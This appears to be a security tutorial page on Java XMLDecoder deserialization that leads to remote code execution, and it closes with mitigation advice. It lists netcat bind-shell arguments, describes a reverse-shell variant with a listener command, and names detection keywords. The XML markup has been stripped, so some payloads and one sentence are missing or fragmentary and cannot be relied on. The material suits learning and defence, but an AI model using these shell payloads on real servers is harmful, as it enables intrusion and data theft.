XMLDecoder Deserialization Vulnerability (Java RCE)

XMLDecoder is a Java class used to reconstruct Java objects from XML representations. While useful for serialization, it becomes a critical security risk when applied to untrusted input. If an application deserializes user-controlled XML using XMLDecoder.readObject(), an attacker can craft a malicious payload that results in Remote Code Execution (RCE) on the server.

How XMLDecoder Works

XMLDecoder parses XML and reconstructs Java objects by calling constructors, setters, and methods as defined in the XML structure. Unlike safer serialization mechanisms, it allows method invocation during deserialization - making it dangerous when input is not properly validated.

A typical legitimate usage looks like this:

XMLDecoder decoder = new XMLDecoder(new FileInputStream("data.xml"));
Object obj = decoder.readObject();
decoder.close();

If the data.xml file is under attacker control, arbitrary code can be executed.

Identifying the Vulnerability

Applications using XMLDecoder often generate XML with a recognizable signature. For example:

The presence of is a strong indicator that the application uses this deserialization mechanism - and may be exploitable.

Exploitation: Remote Code Execution via XML Payload

To achieve RCE, we exploit the fact that XMLDecoder can invoke any method, including those that execute system commands.

Using Runtime.getRuntime().exec():

The following XML payload executes /usr/bin/nc -l -p 9999 -e /bin/sh, creating a bind shell:


      
        /usr/bin/nc
        -l
        -p
        9999
        -e
        /bin/sh
      
    
  
">

This payload:

  • Calls Runtime.getRuntime() to get the runtime instance.
  • Invokes exec() with a command array to avoid shell interpretation issues.
  • Starts a netcat listener bound to port 9999, providing a shell.

Alternative Payload Using ProcessBuilder

ProcessBuilder offers more control over process execution and is often preferred in modern exploits.

This version:

  • Instantiates a ProcessBuilder with the desired command.
  • Calls start() to execute the process.
  • Can be extended to set environment variables or working directory.

Reverse Shell Variant (Recommended)

A bind shell may be blocked by firewalls. Use a reverse shell instead:

Replace 192.168.159.1 with your IP and start a listener:

nc -l -p 443 -v

Impact

Successful exploitation leads to:

  • Full remote code execution on the server.
  • Access to application data, configuration files, and credentials.
  • Privilege escalation if the Java process runs with elevated rights.
  • Persistence via backdoor deployment or cron jobs.

This vulnerability has affected numerous Java-based applications, including web frameworks, enterprise systems, and network services.

Mitigation and Best Practices

Never use XMLDecoder on untrusted input.

Secure Alternatives:

  • JSON with type-safe parsers (e.g., Jackson, Gson).
  • XML with JAXB and strict schema validation.
  • Protocol Buffers or Apache Avro for binary serialization.

Additional Protections:

  • Use security managers to restrict dangerous method calls.
  • Run Java applications with least-privilege user accounts.
  • Monitor logs for suspicious XML payloads containing Runtime, ProcessBuilder, or exec.
  • Apply WAF rules to block known exploit patterns.

See Also

Published on Aug 21, 2025